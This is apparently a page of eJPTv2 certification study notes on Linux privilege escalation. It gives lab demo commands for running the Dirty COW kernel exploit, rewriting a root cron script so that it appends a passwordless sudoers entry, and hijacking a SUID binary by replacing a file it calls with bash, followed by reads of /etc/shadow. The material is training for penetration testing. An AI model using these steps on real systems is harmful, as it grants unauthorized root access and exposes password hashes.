> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/system-host-based-attacks/linux-vulnerabilities/linux-privilege-escalation.md). # Linux Privilege Escalation ### Linux Kernel Exploits * Kernel exploits on Linux will typically target vulnerabilities in the Linux kernel, to execute arbitrary code in order to run privileged system commands or to obtain a system shell. * This process will differ based on the Kernel version and distribution being targeted and the kernel exploit being used. * Privilege escalation on Linux systems will typically follow the following methodology: * Identifying kernel vulnerabilities * Downloading, compiling and transferring kernel exploits onto the target system. **Tools & Environment** * Linux Exploit Suggester - This tool is designed to assist in detecting security deficiencies for given kernel/Linux-based machine. It assesses (using heuristics methods) the exposure of the given kernel on every publicly known Linux kernel exploit. * GitHub : **DEMO : Linux Kernel Exploit** ``` >>>> sysinfo >>>> getuid >>>> shell /bin/bash -i groups www-data cat /etc/passwd >>>> cd /tmp >>>> upload ~/Desktop/Linux-Enum/les.sh >>>> shell /bin/bash -i ls chmod +x les.sh ./les.sh ``` * download suggester and send the file to the target * Dirty COW is a privilege escalation vulnerability in the Linux kernel * Download dirtycow from exploit-db ``` gcc -pthread dirty.c -o dirty -lcrypt ``` ``` >>>> upload ~/Downloads/dirty >>>> shell /bin/bash -i chmod +x dirty ./dirty password123 gcc -pthread dirty.c -o dirty -lcrypt chmod +x dirty ./dirty password123 ``` ``` ssh-keygen -f "/home//kali/.ssh/known_hosts" -R "10.10.10.15" ssh firefart@ apt-get update cat /etc/shadow ``` *** ### Exploiting Misconfigured Cron Jobs **Cron Jobs** * Linux implements task scheduling through a utility called Cron. * Cron is a time-based service that runs applications, scripts and other commands repeatedly on specified schedule. * An application, or script that has been configured to be run repeatedly with Cron is known as a Cron job. Cron can be used to automate or repeat a wide variety of functions on a system, from daily backups to system upgrades and patches. * The crontab file is a configuration file that is used by the Cron utility to store and track Cron jobs that have been created. **Exploiting Misconfigured Cron Jobs** * Cron jobs can also be run as any user on the system, this is a very important factor to keep an eye on as we will be targeting Cron jobs that have been configured to be run as the "root" user. * This is primarily because, any script or command that is run by a Cron job will run as the root user and will consequently provide us with root access. * In order to elevate our privileges, we will need to find and identify cron jobs scheduled by the root user or the files being processed by the cron job. **DEMO: Exploiting Misconfigured Cron Jobs.** ``` groups student cat /etc/passwd ``` ``` crontab -l ``` ``` ls -al ``` * to detect root's cron jobs using grep ``` cd / grep -rnw /usr -e "/home/student/message" ``` ``` ls -al /usr/local/share/copy.sh ``` ``` printf '#!/bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh ``` ``` cat /usr/local/share/copy.sh ``` ``` sudo -l ``` ``` sudo su whoami cd /root cat flag crontab -l ``` ### Exploiting SUID Binaries * In addition to the three main file access permissions (read, write, and execute). Linux also provides users with specialized permissions that can be utilized in specific situations. One of these access permissions in the SUID (Set Owner User ID) permission. * When applied, this permission provides users with the ability to execute a script or binary with the permissions of the file owner as opposed to the user that is running the script or binary * SUID permissions are typically used to provide unprivileged users with the ability to run specific scripts or binaries with "root" permissions. It is to be noted., however, that the provision of elevate privileges is limited to the execution of the script and does not translate to elevation of privileges, however, if improperly configured unprivileged users can exploit misconfigurations or vulnerabilities within the binary or script to obtain an elevated session. * This is the functionality that we will be attempting to exploit in order to elevate our privileges, however the success of our attack will depend on the following factors: * Owner of the SUID binary - Given that we are attempting to elevate our privileges, we will only be exploiting SUID binaries that are owned by the "root" user or other privileged users. * Access Permissions - We will require executable permissions in order to execute the SUID binary. **Demo : Exploiting SUID binary** ``` whoami groups student pwd ls -al ``` * rw**s**r-xr-x ``` file welcome ``` Note : missing shred ,shared object ``` Strings welcome ``` ``` rm greetings ``` ``` cp /bin/bash greetings ``` ``` ./welcome whoami cat /etc/shadow ``` {% embed url="" %} * to find all the SUID binaries using FIND command ``` find / -perm -u=s -type f 2>/dev/null ```